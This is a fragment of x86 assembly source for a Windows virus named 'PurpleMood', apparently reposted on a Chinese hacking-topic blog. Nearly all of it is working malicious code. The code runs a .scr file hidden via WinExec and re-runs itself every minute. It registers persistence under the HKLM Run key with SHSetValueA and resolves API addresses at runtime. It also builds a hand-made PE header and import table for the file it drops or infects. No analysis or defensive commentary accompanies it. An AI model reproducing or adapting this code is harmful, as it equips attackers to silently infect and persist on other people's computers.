    call   rtStart
rtStart:
    pop   ebx
    sub   ebx , offset rtStart
    call   rtInit
rtWork:
    call   MakeSCRAlive
    push   1000*60
    mov   eax , 12345678h
_Sleep      = dword ptr $ - 4
    call   eax
    jmp   short rtWork
rtInit:
    @pushsz "shlwapi.dll"
    mov   eax , 12345678h
_LoadLibraryA  = dword ptr $ - 4
    call   eax
    @pushsz "SHSetValueA"
    push   eax
    mov   eax , 12345678h
_GetProcAddress = dword ptr $ - 4
    call   eax
    mov   _SHSetValueA[ebx],eax
    ret
MakeSCRAlive:
    call  @RT1
nGetProcAddress  db  "GetProcAddress",0
@RT1:  push  FALSE
    push  1
    mov  eax , 12345678h
_OpenMutex   = dword ptr $ - 4
    call  eax
    xchg  esi,eax
    .if  esi == NULL
        jmp  RunSCR
    .else
        push  esi
        mov  eax , 12345678h
_ReleaseMutex = dword ptr $ - 4
        call  eax
        push  esi
        mov  eax , 12345678h
_CloseHandle  = dword ptr $ - 4
        call  eax
        jmp  RegistSCR
    .endif
RunSCR:
    push  SW_HIDE
    call  @RT2
szFilePath   db  50 dup (0)
@RT2:  mov  eax , 12345678h
_WinExec    = dword ptr $ - 4
    call  eax
RegistSCR:
    lea   eax,[offset szFilePath+ebx]
    push   12345678h
SCRPathSize   = dword ptr $-4
  push   eax
push   REG_SZ
    @pushsz "PurpleMood"
@pushsz "Software/Microsoft/Windows/CurrentVersion/Run"
push   HKEY_LOCAL_MACHINE
    mov   eax,12345679h
_SHSetValueA   = dword ptr $-4
    call   eax       ;eax = SHSetValueA addr
    ret
rtThreadEnd:
;*************Virus Data******************************
Signature    db  "紫色心情,你永远的期待",0
HostEntry     dd  0
hKernel32     dd  0
szEXEPath     db MAX_PATH dup (0)
szFileName     db "/PurpleMood.scr",0
FNameSize     =  $ - szFileName
wfd        WIN32_FIND_DATA <>
;*****************PE Data*****************************
VImports:
          dd    offset Kernel32_Pointers + @
          dd    -1,-1
          dd    offset Kernel32_Name + @
VIAT:
          dd    offset Kernel32_Relocated + @
          db    14 dup (0)
Kernel32_Pointers dd    offset Kernel32_Beep + @ , 0
Kernel32_Relocated dd    offset Kernel32_Beep + @ , 0
Kernel32_Beep   db    ?,?,"MessageBoxA",0
Kernel32_Name   db    "User32.dll",0
MDosStub:
  db 4Dh,5Ah,90h,00,03,00, 00, 00, 04, 00, 00,00,0FFh,0FFh,00,00
  db 0B8h,00,00,00, 00, 00, 00, 00,40h, 00, 00, 00, 00, 00,00,00
  db 00, 00, 00,00,00,00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00
  db 00, 00, 00, 00,00,00,00,00, 00, 00, 00, 00, 40h, 00, 00, 00
  db 50h,45h,00,00
MFileHeader:
 Machine        dw   14Ch
 NumberOfSections   dw   1
 TimeDateStamp     dd   3cbe5cc2h
 PointerToSymbolTable dd   0
 NumberOfSymbols    dd   0
 SizeOfOptionalHeader dw   0e0h
 Characteristics    dw   10fh
MIMAGE_OPTIONAL_HEADER32:
  Magic             dw    10bh
  MajorLinkerVersion      db    5
  MinorLinkerVersion      db    12
  SizeOfCode          dd    VRAW_SIZE
  SizeOfInitializedData     dd    0
  SizeOfUninitializedData    dd    0
  AddressOfEntryPoint      dd    1000h
  BaseOfCode          dd    1000h
  BaseOfData          dd    3000h
  ImageBase           dd    400000h
  SectionAlignment       dd    1000h
  FileAlignment         dd    200h
  MajorOperatingSystemVersion  dw    4
  MinorOperatingSystemVersion  dw    0
  MajorImageVersion       dw    0
  MinorImageVersion       dw    0
  MajorSubsystemVersion     dw    4
  MinorSubsystemVersion     dw    0
  Win32VersionValue       dd    0
  SizeOfImage          dd    3000h;need to change st
  SizeOfHeaders         dd    200h
  CheckSum           dd    0
  Subsystem           dw    2    ;(Windows GUI)
  DllCharacteristics      dw    0
  SizeOfStackReserve      dd    100000h
  SizeOfStackCommit       dd    1000h
  SizeOfHeapReserve       dd    100000h
  SizeOfHeapCommit       dd    1000h
  LoaderFlags          dd    0
  NumberOfRvaAndSizes      dd    10h
  DataDirectory         dd    0,0
           dd    offset VImports+@,VIMPORT_SIZE
           dd    14h dup(0)
           dd    offset VIAT + @,8
           dd    0,0,0,0,0,0
MIMAGE_SECTION_HEADER:
  Name1        db ".xjs",0,0,0,0
  VirtualSize     dd offset VEnd - offset VStart
  VirtualAddress    dd 1000h
  SizeOfRawData    dd VRAW_SIZE
  PointerToRawData   dd 200h
  PointerToRelocations dd 0
  PointerToLinenumbers dd 0
  NumberOfRelocations dw 0
  NumberOfLinenumbers dw 0
  Characteristic    dd 0E0000020h
VEnd:
CODE ends
end main



你可能感兴趣的:(黑客攻防)